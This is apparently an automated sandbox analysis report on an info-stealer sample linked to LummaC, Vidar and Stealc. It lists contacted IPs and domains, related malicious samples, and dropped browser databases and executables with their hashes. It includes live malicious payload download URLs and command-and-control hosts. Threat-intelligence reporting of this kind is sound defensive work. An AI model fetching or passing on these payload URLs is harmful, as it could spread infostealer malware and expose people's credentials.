Excluded IPs from analysis (whitelisted): 40.126.32.134, 40.126.32.76, 20.190.160.14, 40.126.32.68, 40.126.32.140, 20.190.160.17, 40.126.32.138, 40.126.32.136, 217.20.57.18, 192.229.221.95, 20.42.73.29, 20.12.23.50, 40.69.42.241, 20.189.173.20
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, 4.8.2.0.0.0.0.0.0.0.0.0.0.0.0.0.2.0.0.0.2.0.c.0.0.3.0.1.3.0.6.2.ip6.arpa, ocsp.edge.digicert.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:52:08	API Interceptor	2x Sleep call for process: WerFault.exe modified
03:52:23	API Interceptor	2x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
141.98.233.156	file.exe	Get hash	malicious	LummaC, Vidar	Browse	proxy.johnmccrea.com/
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
147.45.44.104	file.exe	Get hash	malicious	LummaC, Vidar	Browse	playd.healthnlife.pk/ldms/a43486128347.exe
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	playd.healthnlife.pk/ldms/a43486128347.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	playd.healthnlife.pk/ldms/a43486128347.exe
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	playd.healthnlife.pk/ldms/a43486128347.exe
	file.exe	Get hash	malicious	Vidar	Browse	playd.healthnlife.pk/ldms/a43486128347.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	playd.healthnlife.pk/ldms/a43486128347.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	playd.healthnlife.pk/ldms/a43486128347.exe
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104/ldms/66fe13d251bbf_lsod.exe
45.132.206.251	file.exe	Get hash	malicious	LummaC, Vidar	Browse	cowod.hopto.org/
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	cowod.hopto.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	cowod.hopto.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	cowod.hopto.org/
	file.exe	Get hash	malicious	Vidar	Browse	cowod.hopto.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	cowod.hopto.org/
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	cowod.hopto.org/
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	cowod.hopto.org/
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	cowod.hopto.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	cowod.hopto.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
beearvagueo.site	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.21.93.202
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.21.93.202
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.214.93
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	172.67.214.93
	msvcp110.dll	Get hash	malicious	LummaC	Browse	172.67.214.93
	msvcp110.dll	Get hash	malicious	LummaC	Browse	172.67.214.93
cowod.hopto.org	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	45.132.206.251
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	msvcp110.dll	Get hash	malicious	LummaC	Browse	104.102.49.254
	msvcp110.dll	Get hash	malicious	LummaC	Browse	104.102.49.254
	carrier_ratecon.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	c84f2f8df965727bcdcc4de6beecf70c960ef7c885e77.dll	Get hash	malicious	LummaC	Browse	104.102.49.254
	0a839761915d.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Activator by URKE v2.5.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
playd.healthnlife.pk	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CH-NET-ASRO	file.exe	Get hash	malicious	LummaC, Vidar	Browse	141.98.233.156
	file.exe	Get hash	malicious	Unknown	Browse	141.98.234.85
	file.exe	Get hash	malicious	Unknown	Browse	141.98.234.85
	gobEmOm5sr.exe	Get hash	malicious	LummaC, PureLog Stealer, RedLine, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	141.98.234.31
	UmMgwOUPt5.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer, Vidar, zgRAT	Browse	141.98.234.31
	EGQqjPn5p3.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Mars Stealer, PureLog Stealer, SmokeLoader, Socks5Systemz	Browse	141.98.234.31
	jSlv5GLHad.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	141.98.234.31
	v6SEx6rJ3E.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc, Vidar	Browse	141.98.234.31
	file.exe	Get hash	malicious	BazaLoader	Browse	141.98.233.26
	er0O6iIWXW.exe	Get hash	malicious	Amadey, Glupteba, Petite Virus, Socks5Systemz, onlyLogger	Browse	141.98.234.31
FREE-NET-ASFREEnetEU	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.124.7
	5Aw2cV5m0c.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	147.45.77.108
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	147.45.124.7
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	147.45.44.104
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
LIFELINK-ASRU	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	45.132.206.251
AKAMAI-ASUS	MOfHb44mph.elf	Get hash	malicious	Unknown	Browse	104.83.204.208
	https://forms.office.com/Pages/ResponsePage.aspx?id=4mPIUn7HtEOifSf_jkD9akHPEdQOqpJDoTs5yuUf8txUMEFQTE42TU03SUJBSU84VTY3MEtFR1JaUS4u	Get hash	malicious	HTMLPhisher	Browse	104.102.54.247
	Full Litigation File.pdf	Get hash	malicious	Unknown	Browse	104.126.112.182
	https://go.hginsights.com/rs/214-HYO-692/images/HG	Get hash	malicious	Unknown	Browse	104.102.43.106
	faststone-capture_voLss-1.exe	Get hash	malicious	PureLog Stealer	Browse	184.28.90.27
	faststone-capture_voLss-1.exe	Get hash	malicious	PureLog Stealer	Browse	184.28.90.27
	Refrence-Order#63729.pdf	Get hash	malicious	Azorult	Browse	23.56.162.185
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://www.google.de/url?q=8Oshpephqbbshop&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=XS40i2Jop98hjgaswD&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkOuteybdtwrQvao&ved=HXUursu8uE=&url=amp%2Fgvhs2020.com%2Fgtaowpqtwp%3Fe%3Dhttps%3A%2F%2Foutlook.office.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	Aura.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
	https://url.us.m.mimecastprotect.com/s/8I0_CKrkVEt48y6BzfMfWF5hBIN?domain=woems-my.sharepoint.com	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://t.co/dvIdjH2Xsv	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://irp.cdn-website.com/02ccf804/files/uploaded/webpage.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	http://whinairith.net	Get hash	malicious	Unknown	Browse	13.107.246.45
	Full Litigation File.pdf	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://185.95.84.78/rd/4gmsyP17223JZmx332lihotmtcwn9842ZSCGIOAIIATLJCU85240TITV3606d9	Get hash	malicious	Phisher	Browse	13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254 104.21.93.202
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	104.102.49.254 104.21.93.202
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254 104.21.93.202
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.93.202
	9VgIkx4su0.exe	Get hash	malicious	SmokeLoader	Browse	104.102.49.254 104.21.93.202
	msvcp110.dll	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.93.202
	msvcp110.dll	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.93.202
	Document-20-18-07.js	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	104.102.49.254 104.21.93.202
	carrier_ratecon.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 104.21.93.202
	das.msi	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	104.102.49.254 104.21.93.202

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	6828ce64fe184aebd297c90e4c84b912.exe	Get hash	malicious	Stealc, Vidar	Browse
	NJna3TEAEr.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CAKFIJDHJEGI\AFBFHD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKFIJDHJEGI\AKJDGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKFIJDHJEGI\CAAKKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKFIJDHJEGI\ECFHIJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKFIJDHJEGI\FBKKJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKFIJDHJEGI\GCGHCB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CAKFIJDHJEGI\GIEGHJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKFIJDHJEGI\GIEGHJ-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKFIJDHJEGI\IJKJDA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKFIJDHJEGI\IJKJDA-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKFIJDHJEGI\KFHJJJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKFIJDHJEGI\KJKJKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGHCBKFCF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	539688
Entropy (8bit):	7.744718235587733
Encrypted:	false
SSDEEP:	12288:xLhw2Sg/jx80mcSoF9y8Dkd7hCsBTQadAj0t/Bk1LzAfjtAywtoYAzPsEO:HBjaiSoXyuQFBB8aGj0V/jOJtoFst
MD5:	A16E47444D809D548BD0BA7C9869750A
SHA1:	C1CE536BDAD56EB97625A1EE53BFD1F3AFEB4FF6
